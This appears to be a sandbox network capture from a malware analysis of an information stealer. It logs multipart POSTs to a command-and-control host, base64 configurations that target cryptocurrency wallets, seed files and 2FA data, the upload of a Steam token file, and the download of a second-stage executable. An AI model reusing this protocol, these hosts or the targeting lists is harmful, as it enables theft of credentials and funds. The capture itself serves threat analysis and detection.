00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 4, 2024 09:52:36.542824030 CEST	188	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFHIDGIJKJKECBGDBGH Host: proxy.johnmccrea.com Content-Length: 1145 Connection: Keep-Alive Cache-Control: no-cache
Oct 4, 2024 09:52:37.397417068 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 07:52:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 4, 2024 09:52:37.655749083 CEST	518	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIIEHJDBKJKECBFHDGH Host: proxy.johnmccrea.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 61 65 64 61 37 37 31 62 64 38 61 62 38 30 33 62 31 36 34 66 38 61 34 61 31 62 64 63 62 62 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 33 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 2d 2d 0d 0a Data Ascii: ------BFIIEHJDBKJKECBFHDGHContent-Disposition: form-data; name="token"c9aeda771bd8ab803b164f8a4a1bdcbb------BFIIEHJDBKJKECBFHDGHContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------BFIIEHJDBKJKECBFHDGHContent-Disposition: form-data; name="mode"3------BFIIEHJDBKJKECBFHDGH--
Oct 4, 2024 09:52:38.366314888 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 07:52:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 [TRUNCATED] Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzfDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxwYXNzcGhyYXNlLmpzb258MHxFeG9kdXN8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHNlZWQuc2Vjb3wwfEV4b2R1c3wxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RXhvZHVzfDF8XEV4b2R1c1xiYWNrdXBzXHwqLip8MXxFbGVjdHJvbiBDYXNofDF8XEVsZWN0cm9uQ2FzaFx3YWxsZXRzXHwqLip8MHxNdWx0aURvZ2V8MXxcTXVsdGlEb2d [TRUNCATED]
Oct 4, 2024 09:52:38.463742971 CEST	518	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIECBFIDGDAKFHIEHJKF Host: proxy.johnmccrea.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 61 65 64 61 37 37 31 62 64 38 61 62 38 30 33 62 31 36 34 66 38 61 34 61 31 62 64 63 62 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 34 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 2d 2d 0d 0a Data Ascii: ------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="token"c9aeda771bd8ab803b164f8a4a1bdcbb------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="mode"4------FIECBFIDGDAKFHIEHJKF--
Oct 4, 2024 09:52:39.061742067 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 07:52:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 65 38 0d 0a 52 6d 78 68 63 32 68 38 4a 55 52 53 53 56 5a 46 58 31 4a 46 54 55 39 57 51 55 4a 4d 52 53 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 77 71 61 47 6c 30 59 6e 52 6a 4b 69 34 71 4c 43 70 69 61 58 52 6d 62 48 6c 6c 63 69 6f 75 4b 69 77 71 61 33 56 6a 62 32 6c 75 4b 69 34 71 4c 43 70 6f 64 57 39 69 61 53 6f 75 4b 69 77 71 63 47 39 73 62 32 35 70 5a 58 67 71 4c 69 6f 73 4b 6d 74 79 59 [TRUNCATED] Data Ascii: 5e8Rmxhc2h8JURSSVZFX1JFTU9WQUJMRSVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl0YnRjKi4qLCpiaXRmbHllciouKiwqa3Vjb2luKi4qLCpodW9iaSouKiwqcG9sb25pZXgqLiosKmtyYWtlbiouKiwqb2tleCouKiwqYmluYW5jZSouKiwqYml0ZmluZXgqLiosKmdkYXgqLiosKmV0aGVyZXVtKi4qLCpleG9kdXMqLiosKm1ldGFtYXNrKi4qLCpteWV0aGVyd2FsbGV0Ki4qLCplbGVjdHJ1bSouKiwqYml0Y29pbiouKiwqYmxvY2tjaGFpbiouKiwqY29pbm9taSouKiwqd29yZHMqLiosKm1ldGEqLiosKm1hc2sqLiosKmV0aCouKiwqcmVjb3ZlcnkqLip8MTUwfDN8KndpbmRvd3MqLCpQcm9ncmFtIEZpbGVzKiwqUHJvZ3JhbSBGaWxlcyAoeDg2KSosKkFwcERhdGEqLCpQcm9ncmFtRGF0YSosKi5sbmssKi5leGUsKi5zY3IsKi5jb20sKi5waWYsKi5tcDN8REVTS1RPUHwlREVTS1RPUCVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl [TRUNCATED]
Oct 4, 2024 09:52:39.147394896 CEST	648	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIECGCAEBFIIDHIDGIE Host: proxy.johnmccrea.com Content-Length: 461 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 61 65 64 61 37 37 31 62 64 38 61 62 38 30 33 62 31 36 34 66 38 61 34 61 31 62 64 63 62 62 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 55 32 39 6d 64 46 78 54 64 47 56 68 62 56 78 7a 64 47 56 68 62 56 39 30 62 32 74 6c 62 6e 4d 75 64 48 68 [TRUNCATED] Data Ascii: ------DHIECGCAEBFIIDHIDGIEContent-Disposition: form-data; name="token"c9aeda771bd8ab803b164f8a4a1bdcbb------DHIECGCAEBFIIDHIDGIEContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------DHIECGCAEBFIIDHIDGIEContent-Disposition: form-data; name="file_name"U29mdFxTdGVhbVxzdGVhbV90b2tlbnMudHh0------DHIECGCAEBFIIDHIDGIEContent-Disposition: form-data; name="file_data"qNE4Mg==------DHIECGCAEBFIIDHIDGIE--
Oct 4, 2024 09:52:39.703118086 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 07:52:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 4, 2024 09:52:39.746511936 CEST	190	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCGIJDHDGDBGDGCGCFH Host: proxy.johnmccrea.com Content-Length: 114021 Connection: Keep-Alive Cache-Control: no-cache
Oct 4, 2024 09:52:40.996366024 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 07:52:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 4, 2024 09:52:41.000576019 CEST	518	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKFIJDHJEGIDHJKKKJJ Host: proxy.johnmccrea.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 61 65 64 61 37 37 31 62 64 38 61 62 38 30 33 62 31 36 34 66 38 61 34 61 31 62 64 63 62 62 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="token"c9aeda771bd8ab803b164f8a4a1bdcbb------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="mode"5------CAKFIJDHJEGIDHJKKKJJ--
Oct 4, 2024 09:52:41.635370970 CEST	262	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 07:52:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 38 0d 0a 4d 54 49 33 4d 6a 55 30 4e 33 78 6f 64 48 52 77 4f 69 38 76 63 47 78 68 65 57 51 75 61 47 56 68 62 48 52 6f 62 6d 78 70 5a 6d 55 75 63 47 73 76 62 47 52 74 63 79 39 68 4e 44 4d 30 4f 44 59 78 4d 6a 67 7a 4e 44 63 75 5a 58 68 6c 66 44 46 38 61 32 74 72 61 33 77 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: 58MTI3MjU0N3xodHRwOi8vcGxheWQuaGVhbHRobmxpZmUucGsvbGRtcy9hNDM0ODYxMjgzNDcuZXhlfDF8a2tra3w=0
Oct 4, 2024 09:52:43.599498987 CEST	686	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDHCAFCGDAAKEBFIJDG Host: proxy.johnmccrea.com Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 61 65 64 61 37 37 31 62 64 38 61 62 38 30 33 62 31 36 34 66 38 61 34 61 31 62 64 63 62 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d [TRUNCATED] Data Ascii: ------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="token"c9aeda771bd8ab803b164f8a4a1bdcbb------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="mode"51------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="task_id"1272547------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="status"1------KJDHCAFCGDAAKEBFIJDG--
Oct 4, 2024 09:52:44.389208078 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 07:52:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 4, 2024 09:52:44.390268087 CEST	518	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKJDAFHJDHIEBGCFIDB Host: proxy.johnmccrea.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 61 65 64 61 37 37 31 62 64 38 61 62 38 30 33 62 31 36 34 66 38 61 34 61 31 62 64 63 62 62 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 36 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 2d 2d 0d 0a Data Ascii: ------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="token"c9aeda771bd8ab803b164f8a4a1bdcbb------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="mode"6------IJKJDAFHJDHIEBGCFIDB--
Oct 4, 2024 09:52:44.946727037 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 07:52:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	57015	147.45.44.104	80	7032	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 09:52:41.677071095 CEST	92	OUT	GET /ldms/a43486128347.exe HTTP/1.1 Host: playd.healthnlife.pk Cache-Control: no-cache
Oct 4, 2024 09:52:42.309207916 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 07:52:42 GMT Content-Type: application/octet-stream Content-Length: 539688 Last-Modified: Fri, 04 Oct 2024 07:45:44 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66ff9d28-83c28" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 24 b2 eb 8a 60 d3 85 d9 60 d3 85 d9 60 d3 85 d9 b3 a1 86 d8 6c d3 85 d9 b3 a1 80 d8 ca d3 85 d9 b3 a1 81 d8 75 d3 85 d9 a2 52 81 d8 72 d3 85 d9 a2 52 86 d8 74 d3 85 d9 b3 a1 84 d8 65 d3 85 d9 60 d3 84 d9 39 d3 85 d9 a2 52 80 d8 2e d3 85 d9 93 51 8c d8 61 d3 85 d9 93 51 7a d9 61 d3 85 d9 93 51 87 d8 61 d3 85 d9 52 69 63 68 60 d3 85 d9 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 28 9d ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 c8 01 00 00 5a 06 00 00 00 00 00 66 6f 00 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 08 00 00 04 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$$```luRrRte`9R.QaQzaQaRich`PEL(f'Zfo@`@0m<0(&@xPO@4.text `.rdata&@@.datab@.rsrc0@@.reloc@@B
Oct 4, 2024 09:52:42.309237003 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: H)h^AaYjjh8HH-hhAyaYVWj$Y8HG-jV8HAV2hrAAaY_^H-H^)h\|AaYh
Oct 4, 2024 09:52:42.309252977 CEST	1236	IN	Data Raw: 00 00 59 59 8b c6 5e c2 04 00 55 8b ec 83 e4 f8 83 ec 1c a1 40 80 42 00 33 c4 89 44 24 18 8b 45 10 56 8b f1 8d 4c 24 04 50 e8 39 15 00 00 8d 44 24 04 8b ce 50 ff 75 0c ff 75 08 e8 3a ff ff ff 8d 4c 24 04 e8 ab 15 00 00 8b 4c 24 1c 8b c6 c7 06 28 Data Ascii: YY^U@B3D$EVL$P9D$Puu:L$L$(A^3W]Vt$(A^Vt$WVAFVGW_^OBU}uMjhOBuNYMPE]D$VtjVWYY^
Oct 4, 2024 09:52:42.309267998 CEST	1236	IN	Data Raw: e2 fc ff ff 5e 6a 02 58 5f c9 c3 56 8b f1 83 7e 10 00 c7 06 b8 e3 41 00 74 09 ff 76 0c e8 42 9b 00 00 59 ff 76 14 e8 39 9b 00 00 59 c7 06 5c e2 41 00 5e c3 55 8b ec 83 ec 3c 8d 45 f0 53 56 57 50 8b d9 e8 10 4b 00 00 8b f0 8d 7b 08 8d 45 c4 50 a5 Data Ascii: ^jX_V~AtvBYv9Y\A^U<ESVWPK{EPuLYYjY{_^[APt$?JfD$YYAPt$t$t$=JVt$WPt$Ru;t$u_^Vt$WPt$Rt;t$
Oct 4, 2024 09:52:42.309283972 CEST	1236	IN	Data Raw: f3 35 02 00 00 89 45 e4 83 7a 14 0f 89 5d f8 76 05 8b 12 89 55 ec c1 e9 02 89 4d e8 85 c9 0f 84 47 01 00 00 89 55 f4 89 4d f0 0f be f3 66 81 c1 89 02 66 03 c1 f7 e9 66 c1 eb 6a 66 f7 e9 66 81 eb 5e 01 c1 ee fd c1 ea 18 81 ea e1 01 00 00 c1 c6 dd Data Ascii: 5Ez]vUMGUMfffjff^#f3FBfff#w(rXffff'#f%fBff5fff$ff3rBf+ffIf%#N@ffueoff
